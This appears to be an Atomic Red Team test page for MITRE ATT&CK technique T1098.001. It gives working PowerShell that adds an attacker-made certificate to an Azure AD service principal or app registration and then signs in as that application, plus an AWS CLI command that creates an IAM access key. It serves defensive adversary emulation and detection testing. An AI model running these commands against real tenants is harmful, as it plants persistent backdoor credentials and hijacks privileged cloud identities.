# T1098.001 - Additional Cloud Credentials
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1098/001)
<blockquote>Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.

Adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)

In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)</blockquote>

## Atomic Tests

- [Atomic Test #1 - Azure AD Application Hijacking - Service Principal](#atomic-test-1---azure-ad-application-hijacking---service-principal)

- [Atomic Test #2 - Azure AD Application Hijacking - App Registration](#atomic-test-2---azure-ad-application-hijacking---app-registration)

- [Atomic Test #3 - AWS - Create Access Key and Secret Key](#atomic-test-3---aws---create-access-key-and-secret-key)


<br/>

## Atomic Test #1 - Azure AD Application Hijacking - Service Principal
Add a certificate to an Application through its Service Principal.
The certificate can then be used to authenticate as the application and benefit from its rights.
An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.

**Supported Platforms:** Azure-ad


**auto_generated_guid:** b8e747c3-bdf7-4d71-bce2-f1df2a057406





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| username | Azure AD username | String | jonh@contoso.com|
| password | Azure AD password | String | p4sswd|
| service_principal_name | Name of the targeted service principal | String | SuperSP|
| certificate_password | Password of the new certificate | String | Passw0rd|
| path_to_cert | Path of the new certificate, locally stored | String | $env:TEMP|


#### Attack Commands: Run with `powershell`! 


```powershell
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential

$sp = Get-AzureADServicePrincipal -Searchstring "#{service_principal_name}"
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
$certNotAfter = (Get-Date).AddDays(2)
$credNotAfter = (Get-Date).AddDays(1)
$thumb = (New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation "cert:\CurrentUser\My" -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter).Thumbprint
$pwd = ConvertTo-SecureString -String "#{certificate_password}" -Force -AsPlainText
Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{service_principal_name}.pfx" -Password $pwd

$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate("#{path_to_cert}\#{service_principal_name}.pfx", $pwd)
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())

New-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter

Start-Sleep -s 30
$tenant=Get-AzureADTenantDetail
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $thumb
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
Write-Host "End of Hijacking"
```

#### Cleanup Commands:
```powershell
try {
Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential -ErrorAction Ignore

$sp = Get-AzureADServicePrincipal -Searchstring "#{service_principal_name}"
$credz = Get-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId
foreach ($cred in $credz) {
  if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq "AtomicTest") {
    Remove-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -KeyId $cred.KeyId
  }  
}
Get-ChildItem -Path Cert:\CurrentUser\My | where { $_.FriendlyName -eq "AtomicCert" } | Remove-Item
rm "#{path_to_cert}\#{service_principal_name}.pfx"
} catch {}
```



#### Dependencies:  Run with `powershell`!
##### Description: AzureAD module must be installed.
##### Check Prereq Commands:
```powershell
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
```
##### Get Prereq Commands:
```powershell
Install-Module -Name AzureAD -Force
```




<br/>
<br/>

## Atomic Test #2 - Azure AD Application Hijacking - App Registration
Add a certificate to an Application through its App Registration.
The certificate can then be used to authenticate as the application and benefit from its rights.
An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.

**Supported Platforms:** Azure-ad


**auto_generated_guid:** a12b5531-acab-4618-a470-0dafb294a87a





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| username | Azure AD username | String | jonh@contoso.com|
| password | Azure AD password | String | p4sswd|
| application_name | Name of the targeted application | String | SuperApp|
| certificate_password | Password of the new certificate | String | Passw0rd|
| path_to_cert | Path of the new certificate, locally stored | String | $env:TEMP|


#### Attack Commands: Run with `powershell`! 


```powershell
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential

$app = Get-AzureADApplication -Searchstring "#{application_name}"
if ($app -eq $null) { Write-Warning "Application not found"; exit }
$certNotAfter = (Get-Date).AddDays(2)
$credNotAfter = (Get-Date).AddDays(1)
$thumb = (New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation "cert:\CurrentUser\My" -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter).Thumbprint
$pwd = ConvertTo-SecureString -String "#{certificate_password}" -Force -AsPlainText
Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{application_name}.pfx" -Password $pwd

$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate("#{path_to_cert}\#{application_name}.pfx", $pwd)
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())

New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter

Start-Sleep -s 30
$tenant=Get-AzureADTenantDetail
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $thumb
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
Write-Host "End of Hijacking"
```

#### Cleanup Commands:
```powershell
try {
Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential -ErrorAction Ignore

$app = Get-AzureADApplication -Searchstring "#{application_name}"
$credz = Get-AzureADApplicationKeyCredential -ObjectId $app.ObjectId
foreach ($cred in $credz) {
  if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq "AtomicTest") {
    Remove-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -KeyId $cred.KeyId
  }  
}
Get-ChildItem -Path Cert:\CurrentUser\My | where { $_.FriendlyName -eq "AtomicCert" } | Remove-Item
rm "#{path_to_cert}\#{application_name}.pfx"
} catch {}
```



#### Dependencies:  Run with `powershell`!
##### Description: AzureAD module must be installed.
##### Check Prereq Commands:
```powershell
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
```
##### Get Prereq Commands:
```powershell
Install-Module -Name AzureAD -Force
```




<br/>
<br/>

## Atomic Test #3 - AWS - Create Access Key and Secret Key
Adversaries create their own new access and secret keys to programatically interact with AWS environment, which is already compromised

**Supported Platforms:** Iaas:aws


**auto_generated_guid:** 8822c3b0-d9f9-4daf-a043-491160a31122





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| username | Create new AWS access and secret keys for the user | String | atomicredteam|


#### Attack Commands: Run with `sh`! 


```sh
aws iam create-access-key --user-name #{username} > $PathToAtomicsFolder/T1098.001/bin/aws_secret.creds
cd $PathToAtomicsFolder/T1098.001/bin/
./aws_secret.sh
```

#### Cleanup Commands:
```sh
access_key=`cat $PathToAtomicsFolder/T1098.001/bin/aws_secret.creds| jq -r '.AccessKey.AccessKeyId'`
aws iam delete-access-key --access-key-id $access_key --user-name #{username}
rm $PathToAtomicsFolder/T1098.001/bin/aws_secret.creds
```



#### Dependencies:  Run with `sh`!
##### Description: Check if the user exists.
##### Check Prereq Commands:
```sh
aws iam list-users | grep #{username}
```
##### Get Prereq Commands:
```sh
echo Please run atomic test T1136.003, before running this atomic
```




<br/>
